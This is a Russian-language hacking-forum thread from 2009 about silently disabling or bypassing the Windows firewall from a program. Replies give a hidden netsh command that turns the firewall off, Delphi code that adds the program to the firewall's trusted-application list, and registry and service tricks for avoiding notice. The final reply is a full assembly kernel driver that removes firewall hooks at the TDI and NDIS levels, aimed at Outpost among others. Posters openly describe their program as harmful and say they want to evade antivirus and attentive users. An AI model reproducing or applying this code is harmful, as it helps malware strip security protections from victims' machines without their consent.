Как отключить брандмауэр программно?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by denjf, 5 Mar 2009.

  1. denjf

    denjf Member

    Joined:
    12 Nov 2008
    Messages:
    88
    Likes Received:
    12
    Reputations:
    -1
    Обращаюсь к тем кто шарит в Delphi.

    Пишу программу которая использует сокеты
    и брандмауэр не дает мне покоя при запуске проги сразу выскакивает окошко Разрешить Запретить.

    Вопрос таков: Как средствами Delphi отключить или обойти брандмауэр?

    Заранее спасибо.
     
  2. xismyname

    xismyname Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    77
    Likes Received:
    7
    Reputations:
    -5
    Какой именно ??
    Если имеешь виду так называемый виндвос файрвол, то копай в сторону netsh - если что это консольная програ для работы с виндовс файрвол.
     
  3. KaZ@NoVa

    KaZ@NoVa Elder - Старейшина

    Joined:
    5 Jul 2008
    Messages:
    368
    Likes Received:
    438
    Reputations:
    -16
    http://www.compdoc.ru/secur/protect/armor-for-firewall/
     
  4. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    Сори проверить не смогла, нету Дельфи под рукой, но попробуй:
    PHP:
    WinExec('netsh firewall set opmode mode=disable'SW_Hide);
    В команде возможны ошибки но вроде должно быть все правильно. Как недостаток такого способа, при выполнении команды через командную строку палиться сообщение о том что он отключен. Но это тоже исправляется, к сожалению параметров на память даже приблизительно не помню.
     
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    ппц народ вы жжете. винэксесом. ))
    Code:
    procedure fuck_xpfw;
    var
    key:longword;
    ValueName:array[0..255] of char;
    Value:string;
    const
    path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';
    
    begin
     if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit;
     GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
     Value:=ValueName+':*:Enabled:RPC';
     RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value));
     RegCloseKey(key);
    end;
    
    Тупо разрешить своему приложению работать с сетью.
     
    2 people like this.
  6. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    Человек спросил как отключить брандмауэр программно, я ему сказала)))
    спросил бы как тупо разрешить своему приложению работать с сетью, то и ответ был бы другой если бы он был)))) а насчет винэкзека))) смешно не смешно, но ведь работает блин)) по крайней мере должен)
     
    1 person likes this.
  7. denjf

    denjf Member

    Joined:
    12 Nov 2008
    Messages:
    88
    Likes Received:
    12
    Reputations:
    -1
    Всем спасибо! Попробую отпишу че и как получилось или не получилось!
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    запуск процесса в скрытом виде карается порой визгами свиней товарища касперского.
     
    1 person likes this.
  9. Dis@

    Dis@ Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    55
    Likes Received:
    7
    Reputations:
    1
    Хай народ!
    А есть идеи как сделать тоже самое, только не из под делфи, а тупо по средствам командной строки. А то палевно как то.
    И скорее не отключение самого файрвола, а добовление исключения.
    уж больно вредная прога (((
     
    #9 Dis@, 27 Apr 2009
    Last edited: 27 Apr 2009
  10. xismyname

    xismyname Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    77
    Likes Received:
    7
    Reputations:
    -5
    А netsh чем тебе не комманда ?
    Напиши в консоль netsh
     
  11. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    зато пропись в доверенные приложения видовс файрвола касперского точно вынесет))) интересно, программы умеют выходить из строя от смеха?)
     
  12. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    <offtop>
    Умеют кончено же, если юзверь будет смеяться сильно и уронит системник )))
    </offtop>
     
  13. Dis@

    Dis@ Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    55
    Likes Received:
    7
    Reputations:
    1
    Уже сам добрался и до нее, но все равно спасибо за помощь!!!
     
  14. KIR@PRO

    KIR@PRO from Exception

    Joined:
    26 Dec 2007
    Messages:
    826
    Likes Received:
    291
    Reputations:
    359
    ) хоть и разобрался но добавлю... насколько я понмю можно отключить брэндмауэр через реестр...

    идем в HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\

    и задаем значение параметра EnableFirewall (dword) равным 0
    и изменения вступят в силу но только поле перезагрузки...

    еще в этом же ключе есть такой параметр как:
    DoNotAllowExceptions - не разрешать исключения, если этот параметр равен 1, то пример slesh"а (програмно записать в список исключений) к сожалению будет бесполезен если к нему не дописать пару строчек...

    так что можеш попробовать еще так отключить может быть получится)
     
    _________________________
  15. Dis@

    Dis@ Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    55
    Likes Received:
    7
    Reputations:
    1

    С реестром есть маленький косячокс, очень многие педантичные люди ставят программу, щас не вспомню как называеться, которая следит за всеми изменениями в записях реестра. Так что вариант отключения файрвола через реестр хоть и актуальна, но для меня не приемлемма.

    Я предпочел написать простой батничег, который собственно и отключит файрвол, в момент запуска виндовс.

    Кстати, вел небольшую статистику, из нее зделал вывод:

    Люди которые насамом деле понимают всю серьезность опастности - гораздо реже пользуются антивирусами, не же ли простые юзвери )))

    Спасибо за пост, может кому пригодиться.
     
  16. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    стопорнуть программно службу фаервола а чтоб центр безопасности не кричал про остановку фаера, стопорнуть и его предварительно.
     
  17. Fliplab

    Fliplab Elder - Старейшина

    Joined:
    29 Jul 2008
    Messages:
    123
    Likes Received:
    20
    Reputations:
    3
    Code:
    .386
    	.model flat, stdcall
    	option casemap:none
    	
    	include ddk\ntddk.inc
    	include ddk\ntoskrnl.inc
    	include Strings.inc
    	NDIS40 equ 1
    	include ddk\ndis.inc
    	include ddk\ipfirewall.inc
    	
    	includelib ntoskrnl.lib
    	includelib ndis.lib
    	
    	; by MaD [ [email protected] ] 01/08/2006
    
    
    .code
    
    
    
    
    ; ---------------------------------------------------------------------------------------
    ;	Процедуры-заглушки, для регистрации NDIS протокола
    
    
    BindAdapterStub proc pStatus, BindContext, pDeviceName, pSS1, pSS2
    
    	ret
    BindAdapterStub endp
    
    UnbindAdapterStub proc pStatus, BindContext, pUnbindContext
    
    	ret
    UnbindAdapterStub endp
    
    
    
    
    
    
    
    
    ; ---------------------------------------------------------------------------------------
    ;	Процедура, удаляющая перехват Outpost'а на уровне обработчика NDIS
    
    RemoveNdisProcHook proc Handler :PVOID
    	
    	mov		ecx, Handler
    	jecxz	@ret
    	
    	cmp		byte ptr [ecx], 0E8h			; В начале должен стоять call
    	jnz		@ret
    	
    	mov		edx, [ecx+1]					; Смещение call'а
    	lea		edx, [ecx+edx+5]				; EDX указывает на то, куда идет вызов call'а
    	
    	.if dword ptr [edx] == 03C08358h		; В начале стоит: pop eax / add eax, 3 - это Outpost 4.0  
    	
    		mov		edx, [ecx+8]
    		
    	.elseif	dword ptr [edx] == 6030FF58h	; В начале стоит: pop eax / push [eax] / pushad - это Outpost 3.x
    		
    		mov		edx, [ecx+5]
    		
    	.else
    	
    		jmp		@ret
    	.endif
    	
    	; В EDX адрес реального обработчика
    	
    	mov		byte ptr [ecx], 0E9h			; Превратим call в jmp
    	sub		edx, ecx
    	sub		edx, 5
    	mov		[ecx+1], edx					; Теперь вместо передачи управления фаеру, будет jmp сразу на реальный обработчик
    	
    @ret:
    	ret
    
    RemoveNdisProcHook endp
    
    
    
    
    
    
    
    
    
    
    
    
    
    DriverEntry proc uses esi edi ebx pDriverObject :PDRIVER_OBJECT, pusRegistryPath :PUNICODE_STRING
    
    	LOCAL	NdisProto			:NDIS_PROTOCOL_CHARACTERISTICS
    	LOCAL	NdisStatus			:NDIS_STATUS
    	LOCAL	NdisProtoHandle		:NDIS_HANDLE
    	LOCAL	TcpipDrvObj			:PDRIVER_OBJECT
    	LOCAL	IpFilterFileObj		:PFILE_OBJECT
    	LOCAL	IpFilterDevObj		:PDEVICE_OBJECT
    	LOCAL	InBuff				:DWORD
    
    
    
    
    	
    	; 1) -> Снимаем перехват на уровне TDI (универсальный способ для обхода всех TDI-фаеров)
    
    	
    	invoke	ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING("\\Driver\\Tcpip"), OBJ_CASE_INSENSITIVE, NULL, 0, \
    				IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj
    	test	eax, eax
    	jnz		@ret
    	
    	mov		eax, TcpipDrvObj
    	mov		ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject
    	
    	assume	ebx : ptr DEVICE_OBJECT				; EBX -> текущее устройство
    	
    	; Перечисляем все устройства драйвера Tcpip.sys:
    	; \Device\Ip, \Device\RawIp, \Device\Tcp, \Device\Udp, \Device\IPMULTICAST
    	
    @enum_devices:
    	and		[ebx].AttachedDevice, 0				; Перехват снят
    	
    	mov		ebx, [ebx].NextDevice
    	test	ebx, ebx
    	jnz		@enum_devices
    
    	assume	ebx : nothing
    	
    
    	invoke	ObDereferenceObject, TcpipDrvObj
    
    
    
    
    
    
    
    	
    	; 2) -> Удаляем перехват на уровне NDIS (убираем перехват обработчиков протоколов)
    	
    	
    	lea		edi, NdisProto
    	mov		ecx, sizeof NdisProto
    	xor		eax, eax
    	rep	stosb
    	
    	mov		NdisProto.MajorNdisVersion,		4
    	mov		NdisProto.BindAdapterHandler,	BindAdapterStub
    	mov		NdisProto.UnbindAdapterHandler,	UnbindAdapterStub
    
    	; Регистрируем NDIS-протокол для того чтобы получить указатель на связный список протоколов
    
    	invoke	NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto
    	cmp		NdisStatus, NDIS_STATUS_SUCCESS
    	jnz		@ret
    	
    	mov		ebx, NdisProtoHandle				; EBX -> текущий протокол
    	assume	ebx : ptr NDIS_PROTOCOL_BLOCK
    	mov		ebx, [ebx].Next						; Скорее всего указывает на протокол TCPIP_WANARP
    	
    	invoke	NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandle
    
    	; Перечисляем все зарегистрированные NDIS-протоколы
    	
    @enum_protocols:
    
    	; Удаляем перехват обработчиков NDIS-протокола
    	
    	invoke	RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler
    	invoke	RemoveNdisProcHook, [ebx].SendCompleteHandler
    	invoke	RemoveNdisProcHook, [ebx].TransferDataCompleteHandler
    	invoke	RemoveNdisProcHook, [ebx].RequestCompleteHandler
    	invoke	RemoveNdisProcHook, [ebx].ReceiveHandler
    	invoke	RemoveNdisProcHook, [ebx].StatusHandler
    	invoke	RemoveNdisProcHook, [ebx].ReceivePacketHandler
    	invoke	RemoveNdisProcHook, [ebx].BindAdapterHandler
    	invoke	RemoveNdisProcHook, [ebx].UnbindAdapterHandler
    	
    	
    	mov		esi, [ebx].OpenBlock				; ESI -> текущий открытый блок
    	test	esi, esi
    	jz		@next
    	
    	assume	esi : ptr NDIS_OPEN_BLOCK
    	
    	; Перечисляем все открытые блоки этого протокола
    	
    	@enum_open_blocks:
    	
    		; Удаляем перехват обработчиков открытого блока
    		
    		invoke	RemoveNdisProcHook, [esi].SendHandler
    		invoke	RemoveNdisProcHook, [esi].TransferDataHandler
    		invoke	RemoveNdisProcHook, [esi].SendCompleteHandler
    		invoke	RemoveNdisProcHook, [esi].TransferDataCompleteHandler
    		invoke	RemoveNdisProcHook, [esi].ReceiveHandler
    		invoke	RemoveNdisProcHook, [esi].RequestCompleteHandler
    		invoke	RemoveNdisProcHook, [esi].ReceivePacketHandler
    		invoke	RemoveNdisProcHook, [esi].SendPacketsHandler
    		invoke	RemoveNdisProcHook, [esi].StatusHandler
    	
    	
    		mov		esi, [esi].ProtocolNextOpen
    		test	esi, esi
    		jnz		@enum_open_blocks
    		
    	assume esi : nothing
    
    @next:
    	mov		ebx, [ebx].Next
    	test	ebx, ebx
    	jnz		@enum_protocols
    	
    	assume	ebx : nothing
    	
    
    
    
    
    
    	
    	
    	; 3) -> Отменяем фильтрацию в IpFilterDriver
    	
    	invoke	IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING("\\Device\\Ipfilterdriver"), \
    				GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj 
    	test	eax, eax
    	jnz		@ret
    	
    	and		InBuff, 0
    	
    	invoke	IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0
    	test	eax, eax
    	jz		@ret
    	
    	invoke	IoCallDriver, IpFilterDevObj, eax
    
    	
    	
    	
    	
    	
    @ret:
    	mov		eax, STATUS_DEVICE_CONFIGURATION_ERROR
    	ret
    
    DriverEntry endp
    
    end DriverEntry
    Если помог то ставь плюсег
     
    XDexterX and Gar|k like this.